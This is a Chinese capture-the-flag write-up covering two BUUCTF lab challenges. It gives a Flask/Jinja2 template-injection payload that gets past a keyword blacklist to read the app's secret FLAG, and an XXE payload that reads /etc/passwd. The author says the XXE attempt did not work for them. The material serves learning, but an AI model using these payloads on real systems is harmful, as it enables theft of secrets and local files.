BUUCTF(16)

108 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[WesternCTF2018]shrine

启动靶机后页面时一串字符

import flask import os app = flask.Flask(name) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(file).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if name == 'main': app.run(debug=True) 

可以看到有flask的字样,考虑到模板注入,看一下源码

<html><head></head><body>import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)
</path:shrine></body></html>

代码中给出了两个路由,第一个是用来显示源代码的

第二个路由在/shrine/路径下提交参数

于是我们测试一下

http://4263fcf1-b81c-4a4f-a70a-f5aefe3247ae.node4.buuoj.cn:81/shrine/%7B%7B7*7%7D%7D

回显了49说明是可行的

看源码app.config['FLAG'] = os.environ.pop('FLAG')

推测{{config}}可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号

不过python还有一些内置函数,比如url_forget_flashed_messages

我们试一下其他的方式

{{url_for.__globals__}}

发现'current_app'时当前app

我们可以尝试看一下当前app的config

{{url_for.__globals__['current_app'].config['FLAG']}}

就可以读出来flag

[NCTF2019]Fake XML cookbook

考点XXE,我们打开界面是一个登陆网站,登陆一下进行抓包

对于这个考点,之前比赛是很少见的,我们先了解一下它考的什么:

XXE漏洞全称XML External Entity Injection 即XML外部实体注入。

 

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

 

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

 

XXE常见利用方式

 

与SQL相似,XXE漏洞也分为有回显和无回显

 

有回显,可以直接在页面中看到payload的执行结果或现象。

 

无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。

 

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞

抓包后发现里面存在一个XML实体,我们可以构造恶意代码来进行读取

//在referer后面可以
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

之后应该是可以读取的,但昨天试了一下不知到为什么不行

先听到这里